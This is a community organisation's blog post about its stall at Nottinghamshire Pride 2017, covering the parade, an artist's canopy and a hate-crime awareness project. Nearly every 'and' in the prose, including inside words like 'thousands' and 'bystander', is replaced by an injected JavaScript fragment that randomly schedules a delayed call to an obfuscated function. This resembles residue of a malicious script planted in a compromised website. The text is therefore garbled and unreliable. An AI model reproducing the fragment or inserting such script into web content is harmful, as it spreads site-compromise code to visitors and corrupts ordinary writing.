Communities Inc at Nottinghamshire Pride 2017

Last Saturday (29th July) we had the pleasure to be a stallholder at the annual celebration of Nottinghamshire Pride. 2017 marks 50 years from the partial decriminalisation of homosexuality in the UK, which gave everyone a great opportunity to celebrate the progress that has been made for LGBT+rights but also to reflect on what needs to happen in order to achieve a society free from hate, prejudice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and discrimination.

Communities Inc at Nottingham Pride 2017

This year’s Pride had a record breaking turnout, with more that 6000 people taking in part in the Parade that runs from Castle Gate andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ends in Hockley. The event is a true celebration of diversity, tolerance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and community spirit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was filled with music,dancing, workshops andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a unforgetable street party. For us, a highlight of the event was the canopy commissioned by Nottingham LGBT+ Collective Shady Cow andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and created by artists Kashif Nadim Chaudry in collaboration with members of the public from all walks of life. The canopy has been produced at Nottingham Contemporary over the two days that preceded the event andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was a central part of the parade.

Thousandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of people engaged with our stall this year andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and especially with our Building Stronger Communities project, which aims to tackle hate crime andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and increase community cohesion. In the current social andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and political climate, for us it’s more important than ever to raise  awareness about hate crime, its devastating consequences andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to empower people to report it andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not be a bystandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ander. We also gave the attendees the opportunity to tell us what community means to them andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how we can build more a  cohesive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tolerant society by inviting them to leave us messages on our flip chart board.

Our Creative Director Shamsher Chohan said Pride is truly a great opportunity for communities to come together to celebrate diversity. It’s a place for people to show their support to the LGBT community andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with them against hate crime. Hate crime is a hard hitting topic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and therefore we wanted to ensure that people had all the information to be able to report andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and access support if they or anyone they know experience hate crime. Pride is about empowering communities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and this is exactly what we try to achieve through our work. ‘

A huge thank you andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and congratulations to the organisers for providing a great environment for diverse people to come together andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and celebrate. We are already looking forward to next year!